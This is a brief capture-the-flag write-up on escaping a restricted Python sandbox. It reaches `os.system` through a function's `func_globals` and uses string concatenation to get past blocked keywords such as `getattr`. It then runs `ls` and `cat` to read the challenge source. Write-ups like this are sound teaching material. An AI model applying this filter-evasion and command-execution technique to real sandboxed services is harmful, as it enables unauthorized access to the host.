Rating: 3.0

We were given a function called `get_flag()`, which provided the right parameter should return the flag.
From the challenge's name we could deduce that we could get the flag through reflection, and since the function's object was available, I guess we were suppose to access it in someway that would reveal the right parameter to pass to `get_flag()` in order to get the flag.
We solved it in a different way, using the function as a object to get some modules it uses.

Out mission is to get the `os.system` function, but `get_flag()` doesn't import it, so we'll take the long way:
```
>>> ops = get_flag.func_globals['sy'+'s'].modules['o'+'s'] # Get the "os" module
>>> gtattr = get_flag.func_globals['getatt' + 'r'] # Since "getattr" is blocked, we need to get it from "get_flag"
>>> stm = gtattr(ops, 's' + 'ystem') # Get the "os.system" function
>>> stm('ls')
problem.py
wrapper
0
>>> stm('cat problem.py')
```

After we print out the file's content, we can see the flag comparison in the `get_flag()` function which was encoded in python-brainfuck, throw it to a python interpeter and get the flag.